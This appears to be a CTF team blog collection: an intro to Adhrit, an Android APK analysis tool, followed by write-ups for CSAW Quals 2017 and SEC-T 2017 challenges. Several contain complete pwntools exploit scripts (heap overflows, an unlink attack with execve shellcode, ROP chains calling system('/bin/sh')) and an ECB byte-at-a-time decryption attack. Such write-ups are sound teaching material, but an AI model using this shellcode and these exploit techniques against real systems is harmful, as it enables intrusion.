Adhrit: Android APK Reconnaissance Tool

Introduction:

When Android started ruling the mobile markets with millions of applications and open source ROM projects, lot of security issues were tailing the world’s largest mobile market dominator.
The count of malwares detected has been continually improving on large malware databases. The need of this moment is an approach to tackle this situation which is possible with the aid of detailed analysis. Android applications on third-party sites could be infected with malicious code. Reversing the application and looking into its contents can be useful when it comes to analysis. Adhrit is one such tool developed for analysis of Android applications. The tool was written mainly for aiding malware analysis and for CTFs, where time is an important factor and automation comes in as a blessing.

Working:

Adhrit combines many open source tools to cut down the amount of time spent on the process of reversing apks, which is, time consuming when approached manually, and extracting information from it. For instance, to extract the source code of an apk file in smali, one has to use apktool and then when he needs the source code in Java, he would have to rely upon dex2jar and then use a Java decompiler to view the JAR. But the tool can do all this in less than a 20 seconds!
This tool holds flexibility as one of its priorities and lets the user decide what amount of information he would want from any given apk file. The effort is to make the tool as compact as possible by isolating the individual tools from the Android SDK. This also relieves the user from the burden of installing and configuring the Android SDK.

What Adhrit Can Do?

  • Extract the APK contents into a directory
  • Dump certificate details
  • Extract source code in Smali
  • Extract source code in Java
  • Recompile smali back into APK
  • Parse binary Manifest XML into readable XML
  • Search for native libraries
  • Analyze permissions used by the application
  • Check for malware footprints in the VirusTotal database

How Is It Useful?

  • Build custom/patched APKs if necessary in CTFs. Java source and the AndroidManifest.xml is extracted by the tool.
  • Build APK mods using the smali code extracted using APK Tool. This is especially useful when you can inject the smali bytecode.
  • Analyse source code.
  • Check if a given apk is legitimate or a malicious copy of the given legitimate app. This is where the certificate plays the role. For example, suppose you have an apk file of WhatsApp gathered from a third-party site. If the apk has been tampered and recompiled, it can’t be signed with the same signature as Facebook.
  • Check if the malware is listed on VirusTotal.
  • Check if the apk has native libraries and if yes, then get the dump of the headers of the binary for analysis.

Can I Reuse Adhrit?

Cent percent yes! You can use any part of this code and even few of the slightly modified tools (which are again, open source tools built by wonderful developers.) in your projects with proper credits and under open source license constraints.

Where do I find?

The project is still under progress and will implement dynamic analysis techniques too.
Follow ADHRIT project on GitHub for continual updates.

Good day! 🙂

 

Advertisements

CSAW Quals 2017: Zone Writeup

In this challenge we were given 64 bit, dynamically linked, stripped LSB executable.

First let’s take a look at the protections enforced on the binary :

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

Okay, so only Canary and NX.

Now coming to the binary , the disassembly of the executable is pretty huge and I did not reverse the whole thing but only a part of the binary. It basically mmaps 4 chunks of size 0x1000 and splits each of the four chunks into equal sizes of 0x40+16, 0x80+16, 0x100+16 and 0x200+16 respectively. Lets call the arena of each of the large chunks (of size 0x1000) as freelist because, well, they are empty and free to be used. The 16 bytes in each of the smaller chunks is for the metadata (size and next pointer) of the smaller chunk. The following is the structure of each of the smaller chunks.

first 8 bytes – Size (i.e 0x40, 0x80, 0x100 or 0x200)

Next 8 bytes – Pointer to next free chunk

Next size bytes – data

Here is a diagram to make things clearer.

small-chunk

The structure repeats throughout each of the bigger chunks (of size  0x1000 each). Now there are also pointers to the first free chunk in each of the 4 arena’s (of size 0x40, 0x80, 0x100 or 0x200).

The binary is menu driven with 5 functions – allocate block, delete block, write to last block, print last block and exit. Lets take a closer look at each of the functions.

The allocate function takes in the size of the chunk to be allocated and based on that unlinks a chunk from the corresponding freelist.

The write function writes to the the data part of the last allocated block using for loop that reads in a character at a time.

The delete function takes in the address of the last allocated block. It then checks the size of the block (present in the first 8 bytes of the block). If the size is either of 0x40, 0x80, 0x100,0x200 it inserts the chunk in the beginning of the corresponding freelist. Now this is the first free chunk in the corresponding arena and when the next allocation of a chunk of this arena is needed, this chunk will be returned.

The print function prints the data part of the last allocated chunk and the exit function…, well it causes the main to return, exiting the function :).

Now let’s come to the vulnerability in this binary. Firstly notice that the binary is printing an address, which is actually a stack address. So the stack leak is given to us. Now take a look at the write functionality’s for loop that actually writes into the chunk.

ida_read

The for loop is running from i=0 to i<=size. Notice the =.  So we can read in one byte more than the size we entered. Now if we allocate a chunk of, say, 0x40 bytes then we can overwrite the size of the next chunk. Let’s say we changed the size of the next chunk to 0x80. Now when the next chunk, let’s name it chunk A, is deleted, it will be placed in the arena with chunks of size 0x80. So when the next allocation of a chunk of size 0x80 takes place chunk A, of size 0x40, is returned. Since we can write upto 0x80 bytes and our chunk is only 0x40 bytes, we can overwrite the next pointer of the chunk immediately following chunk A, which will be a chunk of size 0x40, since we have basically overflowed a chunk in the arena with chunks of size 0x40. So when the next chunk of size 0x40  is allocated the pointer to the first free chunk of the arena with size 0x40 points to the address in the next pointer of the currently allocated chunk, which is the value which we have overwritten.

Now, we already have a stack leak, so we know the address of saved eip. If we overwrite the next pointer with address of saved eip – 0x10, when the next chunk is allocated, the pointer to the first free chunk of the arena, points to saved eip – 0x10. So the next block to be allocated will start start at saved eip-0x10, and we have write access to (saved eip) – 0x10 + 0x10 = saved eip (the first 0x10 bytes of the chunk are metadata, i.e they contain the size and next pointer of chunk).

This diagram explains the overflow :

exploit.png

Now if we print the data in this chunk, the data in the saved eip, which is a libc address, will be printed out. So we can find the addresses of system and a pointer to ‘/bin/sh’. After this we can use the write functionality to overwrite saved eip with a gadget to pop rdi, followed by address of pointer to ‘/bin/sh’, followed by the address of system. After this, if we invoke the exit functionality, the gadget is executed and the pointer to ‘/bin/sh’ is put in rdi. Then system is executed giving us the shell and yessssss the flag :).

So lets put together our exploit –

  • Allocate a chunk of size 0x40
  • Write 64 bytes of junk followed by 0x80 (i.e chr(0x80) 0r ‘\x80’)
  • Allocate another chunk of 0x40 bytes (the size field of this chunk has been corrupted to 0x80)
  • Delete this chunk (head of free list of chunks of size 0x80 will point to this chunk now)
  • Allocate a chunk of size 0x80 (chunk of size 0x40 is returned)
  • Write 0x40 bytes of junk followed by ‘\x40’ (overwrite the size field of next chunk with the correct size) followed by saved eip – 0x10 (over write next pointer of next chunk with address of saved eip – 0x10)
  • Allocate a chunk of size 0x40 (the chunk whose next pointer we overwrote is returned)
  • Allocate another chunk of size 0x40 (this chunk will lie in the stack and start at sved eip – 0x10 => address of data field of this chunk = saved eip)
  •  Print contents of this chunk (libc leak)
  • Write address of gadget, followed by pointer to ‘/bin/sh’, followed by address of system.
  • Exit the program.

Here’s the python script for the exploit :

from pwn import *
import sys

if len(sys.argv) > 1:
    r=remote('pwn.chal.csaw.io',5223)
else:
    r=process('./true')

pop_rdi=0x0000000000404653 # pop rdi ; ret
pop_rsi=0x00000000004051f8 # pop rsi ; ret

def get_stack_addr():
    r.recvuntil(':')
    leak=r.recvuntil('\n').strip()
    leak=int(leak,16)
    return leak

def allocate(size):
    r.recvuntil('Exit')
    r.sendline('1')
    r.sendline(str(size))

def delete():
    r.recvuntil('Exit')
    r.sendline('2')

def write(data,s=False):
    r.recvuntil('Exit')
    r.sendline('3')
    sleep(0.1)
    if s:
        r.sendline(data)
    else:
        r.send(data)

def puts():
    r.recvuntil('Exit')
    r.sendline('4')

if __name__=='__main__':

    stack = get_stack_addr()    #recieve the stack leak

    allocate(0x40)
    payload="A"*0x40+chr(0x80)  
    write(payload)              #overwrite the size of the next chunk
    allocate(0x40)              #the value in this chunks size field has been overwritten to 0x80
    delete()                    #putting chunk in head of freelist of 0x80 arena

    allocate(0x80)              #this allocates the chunks with size 0x40
    payload="A"*0x40+p64(0x40)+p64(stack+0x80-8)
    write(payload,True)         #overwrite next ptr of the next chunk

    allocate(0x40)              #now the head of free list of 0x40 arena points to saved eip-0x10
    allocate(0x40)              #allocates a chunk at saved eip-0x10 =&amp;amp;gt; data at saved eip
    puts()                      #print value at saved eip i.e libc leak

    leak=r.recvuntil('1)').replace('\n','').replace(' ','').replace('1)','').ljust(8,"\x00")
    leak=u64(leak)
    print "----------------"
    print "libc leak = "+hex(leak)
    print "----------------"
    system = leak+150368
    binsh = leak+1492199

    payload=p64(pop_rdi)
    payload+=p64(binsh)
    payload+=p64(system)

    write(payload,True)        #overwrite saved eip with payload
    r.sendline('5')            #after main returns, pop rdi pops ptr to /bin/sh in rdi and
                               #then control goes to system with arguement as ptr to /bin/sh (rdi)
    r.recvuntil('Exit')
    r.interactive()            #get the shell

And now for the best part – getting the flag 🙂

$ python exploit.py 123

[+] Opening connection to pwn.chal.csaw.io on port 5223: Done
—————-
libc leak = 0x7fd0c203f830
—————-
[*] Switching to interactive mode

$ ls
flag
zone
$ cat flag
flag{d0n7_let_m3_g3t_1n_my_z0n3}
$ exit

And so the flag was :

flag{d0n7_let_m3_g3t_1n_my_z0n3}

Cheers !!

 

CSAW Quals 2017 Writeup: minesweeper

Solved by sg004

Hello. 🙂

CSAW Quals 2017 was a nice CTF with some good challenges. I liked minesweeper as it was one of them. The program implemented a custom heap and it was fun to reverse and pwn. So let’s dive in.

This was a dynamically linked ELF 32-bit LSB executable, stripped and packed.

Running checksec on the binary gave:

CSAW_500_6

So the approach is to naturally try and use shellcode.

First, I unpacked it using UPX.

csaw_500_w_1

Now we get to the code.

What this binary does is it allows a player to set up a game and play it.

  • For playing a game there are functions where we can view the game board, uncover locations and quit.
  • For setting up, the game allows us to enter the dimensions (d1 and d2) for the game board and if d1*d2 is less than 4095, then the corresponding block is allocated to us where we input the data which will be seen on our board.

These are the 2 vulnerabilities in our code.

So, in the view board function, we see the contents of our ‘board’. So sideX*sideY bytes which we have input should be printed out. But if you look closely then you can see that sideY*sideY*sideX bytes are being printed out. This is the fault in the code which gives us our memory leaks.

csaw_500_2

Also, as given in the function for playing the game, if the game has not been initialized before, then an area of the stack is printed out. This gives us a stack leak, which I used to calculate the saved eip of main. Then, if we initialize a small chunk of, say, dimensions 3*3, then we can get a leak of the heap address.

Using these leaks we can move on to the stage of pwning this binary.

So if you look at the function where we initialize our game, one gaping mistake is visible. The size requested by us for the chunk is sideX*sideY bytes. The program asks us to input sideX*sideY bytes. But, the chunk allocated is of (sideX-1)*(sideY-1) bytes. This is an obvious overflow which allows us to overwrite the data of the FD and BK pointers of the binary. The highlighted line shows the fault.

csaw_500_3

So now we know that we can overwrite the data in the next chunk by an overflow in the next chunk. Let us also see the chunk layout once.

csaw_500_4

Notice the highlighted addresses. The chunk is in the format: size, FD, BK. Also notice the data in 0x9e004f0. It is a pointer to the list of all chunks as shown at the end.

Now we know the following: the address of the saved eip of main, the base address of the heap and a way to overflow into chunks and corrupt their FD and BK pointers. With this information, I used the unlink vulnerability.

If you look at the code of the function at address 0x8049834 in IDA you can see that unlinking is taking place, we can call this function unlink(). In the function at 0x804987D, you can see unlink() being called. It is basically the function which allocates the memory in the heap, we can call this as heap_stuff().

So in the function where we set up our game, heap_stuff() is called several times. We are concerned with the calls happening in the screenshot above. Namely, the calls at the third and the last line. So basically at the call to heap_stuff() in the third line the chunk we request gets allocated and then at the next call to heap_stuff() the chunk which the program created to print this message out:

csaw_500_5.png

gets unlinked. So, if we can overwrite the FD and BK pointers of this chunk to an address to shellcode and the saved eip of main, then we can have shell right? That is exactly what was done. The only thing to look out for is the process of unlinking.

Say, for a chunk at address A, unlinking works as follows:

  • *(*(A+4) + 8) = *(A+8)      // Logic: FD->BK = BK
  • *(*(A+8) + 4) = *(A+4)      // Logic: BK->FD = FD

So the first thing to note here is that to overwrite saved_eip of main I will be giving saved_eip-8 as the FD and the address of shellcode as the BK. Note that unlinking changes the data in both the ‘FD’ and ‘BK’ pointers. So it means that our shellcode is going to have some mangled bytes containing the FD. For this, I used a jmp instruction before actually beginning with my shellcode.

jmp 0x6

So following these steps gave the flag. On the server.

This binary connects to the user using sockets and the shell we spawn takes input from stdin and stdout. That means that even though we have a shell, we cannot give it any commands. For that, I first used the shellcode equivalent of dup2 (available on googling) and then the shellcode for execve(‘/bin/sh’, 0, 0).

That really gave the shell. 🙂

So revising:

  • Print out the board without initializing the game. This gives the stack leak and hence the address of the saved_eip of main.
  • Make a board of dimensions less than 6×6 and print it out. That gives the leak of an address in the heap.
  • Make a chunk of dimensions 14×14 and using it overwrite the FD and BK of the next chunk.
  • This next chunk is unlinked in the following section of the code which overwrites the value at saved_eip with shellcode.
  • Exit the program, this triggers the shellcode and gives shell.

Well, that is pretty much it.

The script:

from pwn import *

if __name__ == '__main__':

    if sys.argv[1] == 'local':
        p = remote('localhost', 31337)

    else:
        p = remote('pwn.chal.csaw.io', 7478)

    p.recvuntil('(Quit)\n')
    p.sendline('N')

    p.recvuntil('(Q)\n')
    p.sendline('v')

    p.recvuntil('v')
    for i in xrange(13):
        p.recvuntil('\n')

    leak = p.recvuntil('\n')
    leak = leak.strip()
    leak += p.recv(2)

    leak = leak[3:]
    leak = u32(leak)

    ret = leak + 4

    p.sendline('q')

    p.recvuntil('(Quit)\n')
    p.sendline('i')

    p.recvuntil('Y\n')
    p.sendline('B 3 3')

    p.recvuntil('X\n')
    p.sendline('AXAAAAAAA')

    p.recvuntil('(Quit)\n')
    p.sendline('n')

    p.recvuntil('(Q)\n')
    p.sendline('v')

    p.recvuntil('\x12\x00\x00\n')
    p.recvuntil('\x00')
    leak = p.recv(2)
    p.recv(1)
    leak += p.recv(2)
    leak = u32(leak)

    leak -= leak%0x1000

    p.sendline('q')

    p.recvuntil('(Quit)\n')
    p.sendline('i')

    p.recvuntil('Y\n')
    p.sendline('b 14 14')

    p.recvuntil('X\n')

    shellcode = '\xeb\x06' + '\x90'*6
    #shellcode += '\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81'
    shellcode += 'j\x02[j)X\xcd\x80H\x89\xc61\xc9V[j?X\xcd\x80A\x80\xf9\x03u\xf5j\x0bX\x99R1\xf6Vh//shh/bin\x89\xe31\xc9\xcd\x80'

    payload = fit({0:'AX'}, length=40, filler='A') + 'A'*8 #p32(ret-8) + p32(leak + 0x6c)
    payload = fit({0: payload + shellcode}, filler='\x90', length=198-14-4) + p32(0x12)
    payload += p32(ret-8) + p32(leak + 0x6c) + '\x90'*6
    p.sendline(payload)

    p.recvuntil('\n')
    p.sendline('q')

    p.interactive()

Flag: flag{h3aps4r3fun351eabf3}
Happy pwning. 🙂

CSAW Quals 2017: Missed Registration Writeup

Solved by sh!v and sherl0ck

In this challenge we had been given a tcpdump capture file (scap.pcap) and this was the accompanying text :

It’s registration day! These forms just seem longer and longer…

We loaded up the file in wireshark and found that the dump contained the details of a  registration form being submitted and acknowledged. Here is a packet that contains the form that is being submitted :

wireshark-n

As you can see, the form contains 8 fields namely, ‘name’, ‘lname’, ‘school’, ‘major’, ‘c’, ‘s’, ‘text’ and ‘n’. The ‘n’ field contains a huge hex value and the text field contains some nonsensical data. We first thought that the text field might contain some sort of cipher text and the n field will be containing the key. After spending some time, without success, trying to figure out how to decrypt  the  text with the key, we pasted the contents of the text field in Google translate and found that it was Latin, thus eliminating the possibility of it being a cipertext. We then tried converting the value in ‘n’ field to ASCII without any success.

Now we again looked at the dump in wireshark and found out that some packets contained and additional field ‘x’ :

wireshark-x

The ‘x’ field again contained some hex data. We converted the value in the first occurrence of x into ASCII and here we saw something interesting:

BM�B6(�$���

��
“�!�#)�$’�*0�,2�39�”(+�%-1�’58�

The header is BM which is the file signature of the BMP file format.

We quickly wrote a python script to extract the value in the x field (in whichever packet it’s present), convert it to string and concatenate it and save it in file. Here is the script :

import dpkt

f=open("./scap.pcap")
pcap = dpkt.pcap.Reader(f)
outf=open('flag','w')
count = 0
out=''

print "Creating the flag ...."

for ts,buf in pcap:
    count=count+1
    start=buf.find('&x=')
    n=''
    if start != -1:
        out=out+buf[start+3:].decode('hex')

print " [*] Done."
outf.write(out)

 

run_script

Opening the file :

flag

So the flag was :

FLAG{HElp_Th3_BANANASCRIPt-guy_15_thr0wing_m0nkeys@me}

 

 

 

 

CSAW Quals 2017 BabyCrypt Writeup

Solved by s0rc3r3r

Points: 350

In this challenge, we were given a ciphertext encrypted using AES in ECB mode. In ECB mode, encryption of each plaintext block does not affect the encryption of the next plaintext block. Mostly in challenges, the attack on ciphertexts encrypted using block size mode of encryption works as follows:

  1. Mode Detection (ECB, CBC, CTR etc.)
  2. Block size detection
  3. The actual attack based on the facts collected from Step 1 and 2

Here is how ECB mode encryption works:

601px-ECB_encryption.svg

You can read more about ECB mode of encryption on this blog and here on Wikipedia

In this challenge, it was already given that the mode of encryption is ECB mode. So, we move on to step #2 which is Block Size Detection. In this step, we keep sending input, increasing the input’s size by one byte each time and noting the length of the ciphertext for the corresponding input, until the length of the ciphertext changes. The size of the block is then equal to the difference between the size of new ciphertext (number of bytes) and size of the previous ciphertext (number of bytes).

Screenshot from 2017-09-18 10-11-43

As you can see, as soon as a new character is added to the input, the size of the ciphertext changes, the difference between them is 32 hex characters or 16 bytes! So we have detected the block size to be 16 bytes! You can read more on this blog where I have explained about block size detection in detail.

In the server, the encryption takes place as follows:

  1. Takes in input from the user
  2. Append the secret (our flag) to the input
  3. Pads it to make a multiple of the block size
  4. Encrypts the resultant plaintext
  5. Gives the output to the user.

The plaintext which is being encrypted in the server is as follows:

input | secret | padding

So, among all these points, we are only in control of Point #1 which is the input we give. And using this we need to get the secret which is there on the server.

Now comes the actual attack on the ciphertext. The block division is as follows:

      #1     |      #2      |      #3

16 bytes | 16 bytes | 16 bytes

What we give as the input, goes in block #1 if size(input) < 16 bytes. The secret is present in a block next to the block in which our input is present. What if we give an input which has a size one less than the block size? Then the last character in the first block is the first character of the secret. We know the first 15 bytes of block #1, we can simply brute force 255 possibilities of the 16th byte in block #1 by checking the corresponding ciphertexts. This happens as follows- Suppose I give the input as 15 times a, the block division becomes:

                                 #1                              |                      #2 , #3

“aaaaaaaaaaaaaaa” + 1 byte of secret | other bytes of secret | padding

The first 16 bytes(32 hex chars) of the ciphertext generated from this is the encrypted form of the first block. Now we can brute force the value of the last byte of the secret which is present in block #1. Here is the python code for brute forcing the last byte:

from pwn import *
import string 

string_sent = "a"*16
r.recv()
r.sendline(string_sent)
g1 = r.recvuntil("\n")[16:-1]
g1 = g1[:32]

for j in range(256):
            r.recv()
            r.sendline(string_sent + chr(j))
            g2 = r.recvuntil("\n")[16:-1]
            g2 = g2[:32]
            if g1 == g2 and chr(j) in string.printable and j!=10 and j!=0:
                print chr(j), j
                break

Then we move on to the next byte of the secret; this time we send the input as 14 * ‘a’ plus the last byte of secret(flag) which we get from the above code. Similarly, we get other bytes of the secret by giving the input as (16 – i) * ‘a’ + decrypted_bytes_of_secret, where i is the ith byte to be decrypted from the secret!

At this point of time, we have decrypted 16 bytes of the flag, now we can further move on to the next block of the secret using the same concept we applied above.

Here is the python code for the entire exploit:

from pwn import *
import string

r = remote("crypto.chal.csaw.io","1578")
plaintext = ""
blocksize = 16

# The flag occupies 2 blocks
for k in range(2):
    b = ""
    for i in range(1,17):
        string_sent = "a"*(16-i)

        r.recv()
        r.sendline(string_sent)
        g1 = r.recvuntil("\n")[16:-1]
        g1 = g1[:32+k*32]
        print "String sent: ",string_sent

        for j in range(256):
            r.recv()
            r.sendline(string_sent + plaintext + b + chr(j))
            g2 = r.recvuntil("\n")[16:-1]
            g2 = g2[:32+k*32]
            if g1 == g2 and chr(j) in string.printable and j!=10 and j!=0:
                print chr(j), j
                b += chr(j)
                break
    plaintext += b
    print plaintext

So, I ran the script and here is the output:

Block #1 of Secret:

Screenshot from 2017-09-18 11-54-33

Block #2 of Secret and the final flag:

Screenshot from 2017-09-18 11-55-40

Cheers!

SEC-T CTF 2017 Expunged Write Up

Solved by 4rbit3r

Thanks to the admins for conducting a great CTF. The challenges were really good. The only thing missing were the authors for some challenges who weren’t online for the most part of the CTF. But other than that, great CTF.

Our team managed to get into the 8th rank which is pretty much the first time that has happened in an international CTF.

So let’s move on to the challenge.

The binary given isn’t very hard to reverse engineer. The functionality offered is simple to understand.

The main function starts off by creating an array of 1024 bytes on the heap.

It then enters a while loop and asks us for an index.

If the index is lesser than 1024, we’re allowed to enter how many bytes we would like to input at that index.

It performs another check on the second input to make sure that there is no chance of a buffer overflow.

1

After that, it proceeds to read size bytes of input, storing them at offset bytes from the beginning of the array allocated on the heap.

Then, it just prints out the entire contents of the array and then goes on the execute the loop a second time.

At the beginning of the main function, the binary opens a shared object provided along with the challenge using dlopen.

And in the while loop, it calls dlsym with a pointer to “__nanosleep” as the second argument.

For those of you who don’t know what that does, dlopen loads the shared object into memory and dlsym just returns a pointer to the function that is present in the shared object.

The return value of dlsym is stored in a global pointer. This pointer is then invoked with an argument of 1.

All that basically translates to executing __nanosleep(1).

So, now onto the vulnerability.

The checking being done on the offset and the size are signed comparisons.

So that means, we can corrupt data that lies before the beginning of the array.

Since the array is never freed, and no further calls to malloc or free ever take place, I couldn’t think of a method to gain code execution by corrupting the metadata of the array.

However, if we inspect the heap at the point where data is being read into it, we can find that the array is located pretty far from the beginning of the heap.

2

The reason is that dlopen loads the shared object into memory and creates a linkmap structure on the heap.

3

4

The first 8 bytes of the linkmap structure is the base address of the shared object that has been loaded into memory.

Now, I wasn’t really sure that corrupting anything in the linkmap structure would be useful in gaining control over execution, but I had already looked over every other possible way to exploit that I could find and this was the only one left.

The offset of __nanosleep function in the given shared object is 0x10bf0 bytes. So I presumed that all that happens in dlsym is return base_address+0x10bf0.

Surprisingly, that is what happens. So I could overwrite 0x4141414141414141 in place of the base address and dlsym would return 0x4141414141414141+0x10bf0.

So using that I can execute any function that I want to, but the question then was identifying which function I wanted to execute.

I looked quite a bit for any chance of memory leaks, but couldn’t find any.

So, I decided to use the read_line function.

The RDI and RSI registers were already pointing to the stack. So ESI would be interpreted as a really large unsigned integer value. And there we have our buffer overflow.

Now all that’s left is to create a ROP chain to pop a shell.

I first tried to leak out the contents of the GOT table and then return to the read_line function again and create a ROP chain to execute system("/bin/sh").

But that kept failing for some reason. Probably because the output that I received from the server was a little different from what I got while running my exploit locally.

At this point, I handed over this challenge to @renorobert and decided to try the 300 point one. A few minutes later, I got a message saying that he fixed the exploit and got the flag as well. I’ll be explaining his method from here on.

We already have dlsym function present in the PLT table. Also there’s a call rax gadget present in the binary. So if we could fake a call to dlysm with the second argument being a pointer to “system”, we could chain that with the call to call rax.

dlsym requires the first argument to be the handle returned by dlopen. However, dlsym also accepts NULL in place of the handle. So, we can proceed with this method

The next task is to store the string “system” at some address in memory that we know. We use the read_line function here to perform a second read that will store the string “system” in the bss segment.

Now, the next issue was making sure that RDI points to “/bin/sh” when the call rax gadget is being invoked.

Now I could’ve just sent “/bin/sh” along with “system” and used a pop rdi gadget to point RDI to “/bin/sh”. But there’s an easier way.

The binary contains the string ‘fflush’. We use the pop rdi gadget to point RDI to the last two bytes of that string (“sh”).

And putting it all together, we get a shell.

Here’s the script

 
from pwn import *

bss = 0x602110
dlsym = 0x400870
sh_str = 0x400520
pop_rdi = 0x400e23
call_rax = 0x400B4D
readline = 0x400986
pop_rsi_r15 = 0x400e21
offset_to_base = -1760
offset_to_nanosleep = 0x10bf0


if __name__ == '__main__':
    if sys.argv[1] == 'local':
        p = process('./acidburn', env={"LD_PRELOAD":"./libc-2.23.so"})
    else:
        p = remote('pwn2.sect.ctf.rocks', 5555)

    p.sendlineafter('array: ', str(offset_to_base))
    p.sendlineafter('fill at', '6')
    p.sendlineafter('Enter input: ', p64(readline+9-offset_to_nanosleep))
    payload  = "A"*16 
    #
    # Set up call to readline to store "system" in bss
    #
    payload += p64(pop_rdi)
    payload += p64(bss+0x400)
    payload += p64(pop_rsi_r15)
    payload += p64(7)
    payload += p64(0)
    payload += p64(readline)
    #
    # Fake call to dlsym with rdi=0 and rsi=>"system"
    #
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi_r15)
    payload += p64(bss+0x400)
    payload += p64(0)
    payload += p64(dlsym)
    #
    # Set rdi to point to "sh"
    #
    payload += p64(pop_rdi)
    payload += p64(sh_str)
    #
    # Call system
    #
    payload += p64(call_rax)    
    #
    # Here we go
    #
    p.sendline(payload)
    p.sendline("system\x00")
    p.interactive()

And running it gives the flag : SECT{wh0a_hope_u_understand_how_dlsym_w0rks_now}

So I guess that was the intended solution. I love these kind of challenges that make you learn something new. The binary is very simple to understand, vulnerability is easy to spot. The main purpose of pwn challenges is to test the ability of the person to exploit the given situation rather than spending hours trying to reverse engineer and figure out the vulnerability.

Anyways, good job admins. We’ll be sure to play next year as well.

——————————————————————-
Update
——————————————————————-
The admins were kind enough to provide us with a license for Binary Ninja for this writeup. Thank’s a bunch guys. You rock!

CSAW Quals 2017 : Best Router Write up

Solved by sh!v

The challenge had a tar file of 430 MB and when extracted it gave a whopping 16 GB best_router.img  file. As it was a disk image file I loaded that into the Autopsy tool in Windows. It showed four volumes of the disk image out of which two were unallocated. Of the other two volumes, one was a Windows 95 partition and the other was a Linux partition. I started searching in the Linux partition. The challenge had a link, which lead to a simple login page.

http://forensics.chal.csaw.io:3287

Usually such simple files which are hosted is usually kept in /var/www in the Linux partition. So I continued my search in /var/www of the given Linux partition. There  I found flag.txt, login.plusername.txt and password.txt. The flag.txt was empty. But the code in the login.pl shows that if username and password is entered correctly the flag is being retrieved. The other two files gave the username and password.

bestrouter.png

Username : admin

Password : iforgotaboutthemathtest

On submitting the above username and password in the site described above, it prints out the flag.

Flag : flag{but_I_f0rgot_my_my_math_test_and_pants}